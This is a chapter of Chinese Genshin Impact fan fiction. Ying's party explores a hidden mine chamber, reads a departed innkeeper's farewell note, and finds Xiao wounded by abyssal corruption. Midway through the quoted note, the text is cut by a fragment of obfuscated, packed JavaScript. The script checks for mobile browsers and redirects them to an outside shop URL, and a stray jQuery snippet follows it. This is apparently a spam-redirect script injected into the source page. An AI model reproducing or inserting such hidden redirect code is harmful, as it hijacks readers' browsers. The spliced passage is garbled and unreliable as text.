"咣当。"
初号机的竹篓撞在储物间的门框上,里面的杏仁豆腐盒子叮当乱响。
荧伸手把竹篓扶正:"小心点,这两盒豆腐比你值钱。"
初号机委屈地"呀"了一声,把竹篓往背上紧了紧。
水车在悬崖边转着,升降机的绳索挂着露水,远处荻花洲的晨雾铺了一地。连飞鸟的叫声都带着慵懒的拖腔,但荧已经把矿道探查的装备清点完了:火把四根,璃月港杂货铺的价,一根五十摩拉,四根两百;绳索一卷,一百五;急救药品一包,从白术那边拿的,三百五。光装备就花了七百摩拉。加上干粮若干,总支出逼近八百。
派蒙蹲在旁边帮忙数,数了三遍每次得出不同的数字,最后放弃了,改为监督初号机的竹篓,确保杏仁豆腐没被颠坏。
"为什么要带杏仁豆腐下矿道?"派蒙问。
荧:"钟离先生说今天可能会碰到一个人。"
"什么人?"
"一个从客栈开业第一天就住在顶楼、帮我修过屋顶砍过树、食物中毒那次还出来镇过场,去蒙德前还跟我说''我会看着'',结果我去稻妻那段时间开始就再没露过面的人。"
派蒙歪了歪头,还没想明白,升降机的声音响了。
钟离准时到了。
今天他换了一身方便活动的短打装束,脚上穿着行山靴,少了三分仙人风骨,多了三分街坊邻居感。
依然没带钱包。
摩拉克斯,创造摩拉的神,身上从不带摩拉。据说日常开销全挂在往生堂的账上,胡桃为了养这位退休帝君也是辛苦了。不过换个角度想,提瓦特的丧葬业利润惊人,往生堂又是璃月独此一家,说不定以后可以谈个跨行业合作?寿衣定制联名款?丧葬主题下午茶套餐?
算了,回头再想。今天有正事。
"准备好了?"钟离问。
"好了。"荧把背包甩上肩。
四人从储物间的暗门进入地窖,穿过前两层,来到第三层那扇刻满岩元素符文的石门前。
荧按下凹槽里的晶石,符文亮起,石门打开。
矿道的冷风裹着泥土和矿石的气味扑面而来。
矿道比昨天探索的时候走得更深了。
钟离走在最前面,脚步稳健得像在自家后院散步。岩壁上的符文照明在他经过时变得更亮,岩元素自然共鸣,不需要有意为之。
荧跟在后面观察两侧岩壁。
上面有很多时代的刻痕。最深处的笔画粗犷有力,线条带着非人类的规整感,仙人手笔。往上覆盖着后来的人类文字,有些是璃月古体,有些是近代通用文。最新的一层是淮安的标记:关键岔路口用朱砂画的箭头和编号,对应密码文件里的F类据点。
"F-03。"荧指着岔路口的标记。
钟离点头:"通往层岩巨渊第二层。尚可通行,但承重梁老化,不宜久留。"
"您对这里每条路都这么熟?"
"皆是我所设。"
派蒙小声嘀咕:"所以我们走在帝君亲手挖的隧道里?这算不算高规格待遇?"
荧:"算。如果他肯报销火把钱的话。"
钟离假装没听到。
初号机走在最后面。它的步伐比任何人都稳,脚底踩在碎石上几乎不发出声音。不像是在走一条陌生的路,更像是在走一条走过无数次的路。
大约一刻钟后,钟离在一面毫不起眼的岩壁前停下。他伸手按住一块凸起的石头,那块石头和周围几乎没有区别,不是钟离直接走过来按,荧一辈子也不会注意到。
"咔哒。"
一声极轻的机械声,岩壁向内滑开,露出一间隐藏的房间。
房间不大,十来个平方,空气比矿道里干燥得多。
荧举着火把走进去,目光立刻被正面那堵墙吸引住了。
整面墙钉满了纸张:地图、图表、连线、标注。纸张的年代参差不齐,有些已经泛黄发脆,有些还相对新。
是密码文件的实体版。不,比密码文件更详细。
密码文件只有编码和地名,这面墙上有路线、时间、人员代号、事件记录。每个据点用不同颜色的线连接到中心。中心位置钉着一张望舒客栈的简笔画,笔触潦草但一眼就能认出来,画的人显然不太擅长画画但很努力。
荧的目光从中心扫向边缘。最外侧角落的位置,有几道刻痕比其他所有标注都要古老,笔画深嵌入岩壁,不是用笔写的,是用某种工具直接刻上去的。那些刻痕的风格和淮安的字迹完全不同,甚至和钟离设立的据点标记也不同。更原始,更简洁,像是某种符号语言。
她多看了两眼,没看懂,先记住了位置。
派蒙飘到墙前,指着中间那张简笔画:"这个画功跟荧差不多。"
荧:"我画得比这好。"
"你上次画的丘丘人被初号机认成了史莱姆。"
"那是抽象风格。"
钟离没有参与这个话题。他走到房间角落,目光落在一张桌子上。
桌上两样东西。
一份手写的笔记,纸张是淮安惯用的灰白色粗纸,墨水有些晕开。
旁边放着一个空的木箱,盖子敞开着,内壁残留着干涸的封蜡痕迹。箱子底部还有一片碎纸,上面的文字不是璃月文,笔画尖锐诡谲,带着让人不舒服的压迫感。坎瑞亚文字的残片。
密报曾经装在这个箱子里。现在箱子空了,淮安带走了所有内容,只留下一片碎屑。
荧拿起那份笔记。
字迹是淮安的,和地窖里那些旧账本上的一样,工整但透着赶时间的潦草。
笔记不长:
"如果有人看到这份手记,说明望舒客栈已经有了新主人。
那批从至冬经由地下通道运往本土的密报,我已全部截获并带走。
密报内容庞杂,涉及坎瑞亚覆灭后数百年间的多方情报。深渊教团的行动轨迹,坎瑞亚遗民的观测记录,各势力在深渊边境的布局。
其中有多份不同年代的日志,反复提及同一个身影。一个金发的旅行者,独自行走于深渊之中。记录者不止一人,横跨数百年。每一份都描述了相似的特征:金发,孤身,持剑,沉默。
我不知道这个旅行者是谁。但钟离先生看到这些记录时的表情告诉我,他知道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344119|193652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>至冬国搜集这些密报的目的我无法判断,但任何势力掌握了关于深渊的系统性情报,都足以改变提瓦特的权力格局。
我谁都不信任。带走密报是唯一的选择。
新主人,如果你读到这些,对不起,把烂摊子留给了你。如果可以的话,别往深处查了,把客栈经营好就行。
但你如果非要查。F-07据点,紧急撤离路线的终端,或许能找到我留下的东西。
祝你比我运气好。
淮安"
荧读完,把笔记放回桌上。
沉默了大概十秒。
派蒙凑过来小声问:"荧?"
荧开口了:"他说''把客栈经营好就行''。"
"嗯。"
"我确实在经营啊。蒙德开了分店,稻妻也开了。丘丘人培训了三十只,冰史莱姆、风史莱姆和雷史莱姆加起来驯了一动物园,七圣召唤输了三十六场,还在稻妻港口的天上放了几百发骂人烟花。"
派蒙不太确定这算不算"经营好"。
荧看着笔记最后那行。F-07据点,紧急撤离路线的终端。跟她昨晚待办清单上写的一模一样。
她转头看向钟离:"F-07据点,从这里怎么走?"
钟离还没回答,矿道深处传来了声音。
不是风声。不是落石。
是金属碰撞的声音,清脆、密集、带着某种规律性的节奏。
然后是一声兽类的嘶吼,在矿道里回荡了好几秒,震得头顶的碎石簌簌往下掉。
派蒙"嗖"地钻到荧背后:"什么什么什么?!"
钟离的表情不是惊讶,是确认。
"来了。"
"什么来了?!"
钟离已经大步往矿道深处走了。
荧咬牙跟上。初号机闷头跑在后面,竹篓里的杏仁豆腐盒子颠得哐哐响。
越往深处走,声音越清晰。金属击打声夹杂着沉重的喘息,还有岩石碎裂的闷响。
矿道在前方骤然开阔,变成了一个天然的巨型洞穴。穹顶高得火把照不到边缘,只能看到嶙峋的钟乳石在黑暗中隐约反光。
洞穴的地面上,十几只变异岩龙蜥正朝着一个方向进攻。
那些岩龙蜥比正常个体大了一圈不止,甲壳上泛着诡异的暗紫色光泽,长期处于深层矿脉高浓度元素环境中产生的异变。它们的动作比地表的同类更迅猛,爪子刨在地上火星飞溅。
被围攻的中心,有一个身影。
以魈的战力,十几只岩龙蜥本不至于构成威胁。荧在前几个月里见过他出手,修屋顶时随手劈开整棵大树、食物中毒事件里一个照面就震退了所有闹事的人。护法夜叉大将的实力,对付这种级别的敌人应该轻松写意。
但他的动作明显不对。
每一□□出去依然快得只剩残影,风元素的青绿色弧光准确地切开岩龙蜥的甲壳,但收枪后他的身体会不自然地顿一下。不是体力不支的那种迟滞,是某种力量在从内部拉扯他。
他的左肩有一道伤口,伤口边缘泛着暗紫色的光。和岩龙蜥甲壳上的异变光泽一模一样。
深渊侵蚀。